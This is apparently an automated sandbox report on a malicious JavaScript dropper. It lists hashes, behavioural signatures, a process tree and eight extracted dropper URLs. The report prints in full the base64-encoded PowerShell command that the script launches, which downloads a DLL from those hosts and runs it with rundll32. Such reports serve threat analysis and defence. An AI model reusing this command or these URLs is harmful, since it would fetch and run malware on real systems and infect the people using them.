Analysis

  • max time kernel
    143s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-03-2023 01:26

General

  • Target

    90136d6f6a748093254c25d77154148ad20f27a98febcdca2fa287a1b898f732.js

  • Size

    65KB

  • MD5

    677e4c55e7f8f97eda933525c8ed77ab

  • SHA1

    ddf062a6ef5059d59d9e39a8daa270727cd059b5

  • SHA256

    90136d6f6a748093254c25d77154148ad20f27a98febcdca2fa287a1b898f732

  • SHA512

    790cc86a95f0bf90aee9ea50424bc7cb78d9fdb971f0ff737a968e549b85baa8be10c24f0a7ccc451b266c02065f7152ac2a7e2ba3f5275b55f6438ae95379f6

  • SSDEEP

    768:XnAhHZ0CV2Fh1EwUBlKKKUUq3ee7Nr3G9iPxVEysavZA8S5il2FWWtlQvThUxuTB:QX0/0QYD2QWiUQkEZKMicsPe

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://onestopsilkscreeners.ca/o6g4bt1/SHkwxN

exe.dropper

https://smeolbd.com/ntaUX/gT17uB8zXQQ1

exe.dropper

https://sobanaze.com/cJn7i/KIeo1

exe.dropper

https://kingzunlimited.com/VvAmv/HrBnUeEt83Z

exe.dropper

https://odwazig.nl/xNV7x/AHwPIvNXWMJ

exe.dropper

https://discountlandllc.com/uUbH/FEnP9o3WZa

exe.dropper

https://canadianused.com/euSgOJA/hcrqV3k2SO

exe.dropper

https://getcash2surveys.com/0HFE0G/Kz55wwkxZ5

Signatures

  • Blocklisted process makes network request 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\90136d6f6a748093254c25d77154148ad20f27a98febcdca2fa287a1b898f732.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1268
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAZABlAGIAYQB1AGMAaABlAHIAaQBlAHMAQwBvAG4AdAByAGEAYwB0AGkAbABpAHQAeQAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAG8AbgBlAHMAdABvAHAAcwBpAGwAawBzAGMAcgBlAGUAbgBlAHIAcwAuAGMAYQAvAG8ANgBnADQAYgB0ADEALwBTAEgAawB3AHgATgAsAGgAdAB0AHAAcwA6AC8ALwBzAG0AZQBvAGwAYgBkAC4AYwBvAG0ALwBuAHQAYQBVAFgALwBnAFQAMQA3AHUAQgA4AHoAWABRAFEAMQAsAGgAdAB0AHAAcwA6AC8ALwBzAG8AYgBhAG4AYQB6AGUALgBjAG8AbQAvAGMASgBuADcAaQAvAEsASQBlAG8AMQAsAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHoAdQBuAGwAaQBtAGkAdABlAGQALgBjAG8AbQAvAFYAdgBBAG0AdgAvAEgAcgBCAG4AVQBlAEUAdAA4ADMAWgAsAGgAdAB0AHAAcwA6AC8ALwBvAGQAdwBhAHoAaQBnAC4AbgBsAC8AeABOAFYANwB4AC8AQQBIAHcAUABJAHYATgBYAFcATQBKACwAaAB0AHQAcABzADoALwAvAGQAaQBzAGMAbwB1AG4AdABsAGEAbgBkAGwAbABjAC4AYwBvAG0ALwB1AFUAYgBIAC8ARgBFAG4AUAA5AG8AMwBXAFoAYQAsAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBhAGQAaQBhAG4AdQBzAGUAZAAuAGMAbwBtAC8AZQB1AFMAZwBPAEoAQQAvAGgAYwByAHEAVgAzAGsAMgBTAE8ALABoAHQAdABwAHMAOgAvAC8AZwBlAHQAYwBhAHMAaAAyAHMAdQByAHYAZQB5AHMALgBjAG8AbQAvADAASABGAEUAMABHAC8ASwB6ADUANQB3AHcAawB4AFoANQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABGAGEAdAB0AGUAZABCAGEAdAB0AGUAcgBzACAAaQBuACAAJABkAGUAYgBhAHUAYwBoAGUAcgBpAGUAcwBDAG8AbgB0AHIAYQBjAHQAaQBsAGkAdAB5ACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAEYAYQB0AHQAZQBkAEIAYQB0AHQAZQByAHMAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADkAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAG0AaQBzAHQAZQBuAGQAcwBSAGUAbQBpAHMAZQBkAC4AZABsAGwAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABtAGkAcwB0AGUAbgBkAHMAUgBlAG0AaQBzAGUAZAAuAGQAbABsACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAG0AaQBzAHQAZQBuAGQAcwBSAGUAbQBpAHMAZQBkAC4AZABsAGwALABXAFcANQAwADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AH0AfQA="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2436

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_facrbywv.yc4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2436-138-0x000001FDE5600000-0x000001FDE5622000-memory.dmp

    Filesize

    136KB

  • memory/2436-143-0x000001FDFED80000-0x000001FDFED90000-memory.dmp

    Filesize

    64KB

  • memory/2436-144-0x000001FDFED80000-0x000001FDFED90000-memory.dmp

    Filesize

    64KB

  • memory/2436-145-0x000001FDFED80000-0x000001FDFED90000-memory.dmp

    Filesize

    64KB

  • memory/2436-146-0x000001FDFED90000-0x000001FDFEFAC000-memory.dmp

    Filesize

    2.1MB

  • memory/2436-148-0x000001FDFED80000-0x000001FDFED90000-memory.dmp

    Filesize

    64KB

  • memory/2436-149-0x000001FDFED80000-0x000001FDFED90000-memory.dmp

    Filesize

    64KB

  • memory/2436-150-0x000001FDFED80000-0x000001FDFED90000-memory.dmp

    Filesize

    64KB

  • memory/2436-156-0x000001FDFED90000-0x000001FDFEFAC000-memory.dmp

    Filesize

    2.1MB